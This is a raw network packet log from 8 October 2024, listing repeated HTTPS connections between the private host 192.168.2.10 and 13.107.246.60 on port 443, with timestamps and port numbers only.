Oct 8, 2024 03:24:23.410702944 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.410708904 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.423207998 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.423374891 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.423444033 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.427470922 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.427510977 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.427525997 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.427534103 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.431646109 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.431684017 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.431741953 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.431898117 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.431912899 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.513125896 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.513243914 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.513298988 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.513633966 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.513653040 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.513664007 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.513672113 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.517668009 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.517695904 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.517750025 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.518049955 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.518064022 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.623265982 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.625293970 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.625319004 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.625756979 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.625762939 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.687925100 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.688429117 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.688468933 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.688946962 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.688955069 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.722764969 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.722925901 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.722996950 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.723187923 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.723208904 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.723220110 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.723226070 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.726111889 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.726176977 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.726238012 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.726409912 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.726424932 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.788613081 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.788657904 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.788706064 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.788716078 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.788748980 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.788908005 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.788929939 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.788942099 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.788948059 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.791749954 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.791791916 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.791863918 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.791996002 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.792006016 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.876250982 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.876754045 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.876780987 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.877198935 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.877204895 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.975174904 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.975244999 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.975311041 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.975583076 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.975608110 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.975639105 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.975644112 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.979476929 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.979516983 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.979614973 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.979863882 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.979882956 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.065202951 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.066186905 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.066186905 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.066220045 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.066234112 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.164469957 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.165186882 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.165218115 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.166142941 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.166147947 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.167598963 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.167695999 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.167747974 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.167916059 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.167916059 CEST	49809	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.167931080 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.167939901 CEST	443	49809	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.170819998 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.170866966 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.170922995 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.171221972 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.171238899 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.298614979 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.298778057 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.298841000 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.298943996 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.298960924 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.298974991 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.298980951 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.301808119 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.301824093 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.301961899 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.302104950 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.302114010 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.397330999 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.397958994 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.397995949 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.398453951 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.398464918 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.461779118 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.462373972 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.462408066 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.462858915 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.462868929 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.501080990 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.501117945 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.501163006 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.501215935 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.501394033 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.501418114 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.504965067 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.505007982 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.505191088 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.505541086 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.505554914 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.564290047 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.564383984 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.564449072 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.564826012 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.564856052 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.564870119 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.564876080 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.568192959 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.568273067 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.568429947 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.568586111 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.568604946 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.637414932 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.638221025 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.638250113 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.638544083 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.638561964 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.753817081 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.753850937 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.753901005 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.754122019 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.754122019 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.754201889 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.754201889 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.754220009 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.754231930 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.757229090 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.757287025 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.757356882 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.757529974 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.757540941 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.843096972 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.843826056 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.843844891 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.844151020 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.844161034 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.943777084 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.943842888 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.944010019 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.944195032 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.944195032 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.944214106 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.944226027 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.947469950 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.947500944 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.947572947 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.947751999 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.947762012 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.952049017 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.952480078 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.952512026 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:24.952945948 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:24.952954054 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.053570986 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.053752899 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.053886890 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.053935051 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.053955078 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.053968906 CEST	49815	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.053975105 CEST	443	49815	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.057784081 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.057835102 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.057966948 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.058118105 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.058135033 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.158152103 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.161372900 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.161398888 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.162013054 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.162025928 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.236452103 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.237095118 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.237183094 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.237854958 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.237869024 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.258192062 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.258265972 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.258359909 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.258542061 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.258563042 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.258579016 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.258584976 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.261835098 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.261873960 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.262181044 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.262417078 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.262424946 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.340015888 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.340289116 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.340351105 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.340425968 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.340521097 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.340521097 CEST	49817	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.340569019 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.340596914 CEST	443	49817	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.343019009 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.343065023 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.343189955 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.343288898 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.343297958 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.426743031 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.427287102 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.427350998 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.427823067 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.427839994 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.530396938 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.530472040 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.530800104 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.531138897 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.531161070 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.534946918 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.534980059 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.535041094 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.535594940 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.535612106 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.594485998 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.595084906 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.595103979 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.595566034 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.595571041 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.689606905 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.690228939 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.690254927 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.690824986 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.690830946 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.698925972 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.699012995 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.699425936 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.699460030 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.699470997 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.702872038 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.702899933 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.703016043 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.703157902 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.703169107 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.791012049 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.791081905 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.791212082 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.791574955 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.791594982 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.795293093 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.795346022 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.795408964 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.795567036 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.795578003 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.910665035 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.911458015 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.911467075 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:25.912359953 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:25.912368059 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.015952110 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.016351938 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.016396999 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.016419888 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.016443968 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.016503096 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.016519070 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.016541004 CEST	49821	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.016547918 CEST	443	49821	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.019545078 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.019577026 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.019989014 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.020144939 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.020152092 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.023355007 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.023798943 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.023812056 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.024286032 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.024291992 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.133256912 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.133337021 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.133441925 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.133670092 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.133692980 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.133706093 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.133712053 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.141578913 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.141624928 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.141691923 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.141882896 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.141897917 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.215744972 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.216392994 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.216430902 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.216974020 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.216981888 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.318247080 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.318470955 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.318533897 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.318613052 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.318635941 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.318649054 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.318655014 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.322058916 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.322104931 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.322329998 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.322490931 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.322504997 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.363471985 CEST	443	49824	13.107.246.60	192.168.2.10
